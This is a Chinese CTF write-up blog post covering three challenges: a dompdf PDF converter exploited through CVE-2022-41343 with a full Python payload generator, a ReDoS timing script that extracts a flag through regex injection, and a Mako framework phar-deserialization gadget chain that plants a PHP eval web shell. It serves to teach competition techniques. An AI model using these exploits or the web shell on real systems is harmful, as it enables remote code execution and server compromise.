DasctfSU6月赛

【困难】pdf_converter

非预期,

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

直接日进去了

预期解:

CVE-2022-41343

当时都搜到了qwq

http://buaq.net/go-129526.html

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os

PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
@font-face {
font-family:'exploit';
src:url('%s');
font-weight:'normal';
font-style:'normal';
}
</style>
'''

def get_args():
parser = argparse.ArgumentParser( prog="generate_payload.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will generate payloads for CVE-2022-41343
''')
parser.add_argument("file", help="Polyglot File")
parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
args = parser.parse_args()
return args

def main():
args = get_args()
file = args.file.strip()
path = args.path.strip()
if(os.path.exists(file)):
generate_payloads(file, path)
else:
print("ERROR: File doesn't exist.")

def generate_payloads(file, path):
with open(file, "rb") as f:
fc = f.read()
b64 = base64.b64encode(fc)
data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
md5 = hashlib.md5(data_uri_pure.encode()).hexdigest()
data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
req2_pure = PAYLOAD_TEMPLATE % phar_uri
print("====== REQUEST 1 ENCODED =======")
print(req1_enc)
print("====== REQUEST 2 ENCODED =======")
print(req2_enc)
print("====== REQUEST 1 NOT ENCODED =======")
print(req1_pure)
print("====== REQUEST 2 NOT ENCODED =======")
print(req2_pure)

if __name__ == "__main__":
main()

redos

midnightCTF,有这么一道题,很是神奇(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

// include_once('./flag.php');
$FLAG = "flag{Test_very_very_very_long_flag}";
error_reporting(E_ALL);
highlight_file(__FILE__);

$startTime = microtime(true);
if (!empty($_GET['x'])){
preg_match('/'.$_GET['x'].'/', $FLAG, $matches);
}

$endTime = microtime(true);
$runTime = $endTime - $startTime;

echo "<br /><br />\n";
echo "<strong>Exec Time:</strong> ".$runTime."<br />\n";

起初是认为正则表达式/e能命令执行,赛后复现的时候才发现是Redos

肥肠好用的正则表达式工具

原理很简单,就是利用回溯、贪婪等方式,让正则表达式进行一个大量的工作,这样就产生了一个时间延迟,于是乎就可以直接开始注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from lxml import etree
import requests

ans = ""

small = [chr(i) for i in range(ord('a'), ord('z') + 1)]
small += [chr(i) for i in range(ord('A'), ord('Z') + 1)]
small += ["{", "}", "-","_"]

for _ in range(0,20):
for i in small:
_tmp = {}
u = f"http://127.0.0.1/midnight.php/?x={ans + i}|(a*(b*(c*(d*(e*(f*.*.*.*.*.*.*.*.*.*.*.*.*(g*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(].*.*.*.*.*.*.*.*.*.*.*))))))))"
r = requests.get(u)
html = etree.HTML(r.text)
time = html.xpath("/html/body/text()")[1]
_tmp_time = eval(time)
if _tmp_time <0.0005:
print(i,time)
ans += i
print(ans)
# print(timemap[timelist.sort(reverse=True)[0]])

美团CTF决赛复现 mako

太菜了,被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来,十分的清爽,毛都没有,就一个上传文件的东西

随便传点东西,发现是来者不拒,啥都能传,但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里

可以看见,文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是,文件上传是整不了活了

2.审计

通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。

这就很令人苦恼,我当时尝试了一下,使用软链接

直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发

做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。

我经验太少了,当时没想到用phar

3.复现

mako/app/controllers/ImagesController.php文件中

1
2
3
4
5
6
7
8
9
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

可以看到,文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了,现在找链子吧

搜索__destruct(),干扰项不多,可以直接开撸

好家伙,我直接好家伙,一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
use mako\file\FileSystem;

class File{
protected $fileSystem;
protected $sessionPath;

public function __construct(){
$this->fileSystem = new FileSystem();
$this->sessionPath = '/var/www/mako/public/';
}
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
protected $autoCommit;
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
protected $store;

public function __construct(){
$this->autoCommit = true;
$this->destroyed = false;
$this->store = new File();
$this->sessionId = 'shell.php';
$this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
}
}
}

namespace {
$exp = new mako\session\Session();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exp);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足,做题不够,欠练


:D 一言句子获取中...